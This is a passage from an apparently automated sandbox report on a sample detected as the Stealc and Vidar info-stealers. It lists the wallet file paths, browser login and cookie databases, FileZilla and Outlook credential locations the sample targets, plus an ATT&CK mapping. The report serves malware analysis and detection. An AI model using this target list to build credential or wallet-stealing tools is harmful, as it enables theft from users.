Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\jaxx\Local Storage\file__0.localstorage
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json~0
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\jaxx\Local Storage\file__0.localstorage
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.co
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1676707184.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2065495419.000000000113E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2064326724.0000000000481000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720C40 sqlite3_bind_zeroblob,	0_2_6C720C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720D60 sqlite3_bind_parameter_name,	0_2_6C720D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648EA0 sqlite3_clear_bindings,	0_2_6C648EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C720B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646410 bind,WSAGetLastError,	0_2_6C646410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646070 PR_Listen,	0_2_6C646070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C64C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C030 sqlite3_bind_parameter_count,	0_2_6C64C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6460B0 listen,WSAGetLastError,	0_2_6C6460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D22D0 sqlite3_bind_blob,	0_2_6C5D22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6463C0 PR_Bind,	0_2_6C6463C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C649400 sqlite3_bind_int64,	0_2_6C649400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6494F0 sqlite3_bind_text16,	0_2_6C6494F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6494C0 sqlite3_bind_text,	0_2_6C6494C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C649480 sqlite3_bind_null,	0_2_6C649480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	236 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://anglebug.com/7382	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://issuetracker.google.com/284462263	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://anglebug.com/7714	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://anglebug.com/6929	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
https://issuetracker.google.com/255411748	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://anglebug.com/7369	0%	URL Reputation	safe
https://anglebug.com/7489	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/7553	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
http://anglebug.com/7556	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
https://issuetracker.google.com/258207403	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/5007	0%	URL Reputation	safe
http://anglebug.com/3862	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
http://anglebug.com/4836	0%	URL Reputation	safe
https://issuetracker.google.com/issues/166475273	0%	URL Reputation	safe
http://anglebug.com/4384	0%	URL Reputation	safe
http://anglebug.com/3970	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://polymer.github.io/CONTRIBUTORS.txt	0%	URL Reputation	safe
https://domains.google.com/suggest/flow	0%	URL Reputation	safe
https://anglebug.com/7604	0%	URL Reputation	safe
http://anglebug.com/7761	0%	URL Reputation	safe
https://ogs.google.com/widget/app/so?eom=1	0%	URL Reputation	safe
http://anglebug.com/7760	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://anglebug.com/5901	0%	URL Reputation	safe
http://anglebug.com/3965	0%	URL Reputation	safe
http://anglebug.com/6439	0%	URL Reputation	safe
http://anglebug.com/7406	0%	URL Reputation	safe
https://anglebug.com/7161	0%	URL Reputation	safe
https://drive-autopush.corp.google.com/	0%	URL Reputation	safe
https://anglebug.com/7162	0%	URL Reputation	safe
http://anglebug.com/5906	0%	URL Reputation	safe
http://anglebug.com/2517	0%	URL Reputation	safe
http://anglebug.com/4937	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

